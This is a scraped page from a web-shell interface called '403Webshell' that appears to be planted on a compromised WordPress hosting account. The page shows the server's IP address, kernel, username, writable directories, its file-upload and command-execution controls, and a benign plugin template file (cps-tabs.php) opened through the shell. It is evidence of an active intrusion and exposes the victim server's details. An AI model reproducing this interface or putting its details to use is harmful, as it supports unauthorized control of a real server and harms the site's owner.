403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/custom-php-settings/src/Backend/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/custom-php-settings/src/Backend/views/cps-tabs.php
<?php
$variables_order = ini_get('variables_order');
$tabs = array(
    'general' => array(
        'label' => __('Editor', self::TEXT_DOMAIN),
    ),
    'settings' => array(
        'label' => __('Settings', self::TEXT_DOMAIN),
    ),
    'info' => array(
        'label' => __('PHP Information', self::TEXT_DOMAIN),
        'children' => array(
            'php-info' => array(
                'label' => __('PHP', self::TEXT_DOMAIN),
            ),
            'extensions' => array(
                'label' => __('Extensions', self::TEXT_DOMAIN),
            )
        ),
    ),
);
if (strstr(php_sapi_name(), 'apache')) {
    $tabs['apache'] = array(
        'label' => __('Apache', self::TEXT_DOMAIN),
    );
}
if (strchr($variables_order, 'C') && !empty($_COOKIE)) {
    $tabs['info']['children']['cookie-vars'] = array(
        'label' => __('COOKIE', self::TEXT_DOMAIN),
    );
}
if (strchr($variables_order, 'S') && !empty($_SERVER)) {
    $tabs['info']['children']['server-vars'] = array(
        'label' => __('SERVER', self::TEXT_DOMAIN),
    );
}
if (strchr($variables_order, 'E') && !empty($_ENV)) {
    $tabs['info']['children']['env-vars'] = array(
        'label' => __('ENV', self::TEXT_DOMAIN),
    );
}
$tabs['status'] = array(
  'label' => __('Status', self::TEXT_DOMAIN),
);
?>
<h2></h2>
<h2 class="nav-tab-wrapper">
    <?php foreach ($tabs as $key => $item) : ?>
        <?php $active = ($key === $this->getCurrentTab() ? ' nav-tab-active' : ''); ?>
        <a class="nav-tab<?php echo $active; ?>"
           href="<?php echo admin_url('tools.php?page=custom-php-settings&tab=' . $key); ?>"><?php echo $item['label']; ?></a>
    <?php endforeach; ?>
    <?php foreach ($tabs as $key => $item) : ?>
        <?php $active = ($key === $this->getCurrentTab() ? ' nav-tab-active' : ''); ?>
        <?php if ($active && isset($item['children'])) : ?>
            <h3 class="nav-tab-wrapper">
                <?php foreach ($item['children'] as $subKey => $subItem) : ?>
                    <?php $active = ($subKey === $this->getCurrentSection() ? ' nav-tab-active' : ''); ?>
                    <a class="nav-tab nav-tab-small<?php echo $active; ?>"
                       href="<?php echo admin_url('tools.php?page=custom-php-settings&tab=' . $key . '&section=' . $subKey); ?>">
                        <?php echo $subItem['label']; ?>
                    </a>
                <?php endforeach; ?>
            </h3>
        <?php endif; ?>
    <?php endforeach; ?>
</h2>

Youez - 2016 - github.com/yon3zu
LinuXploit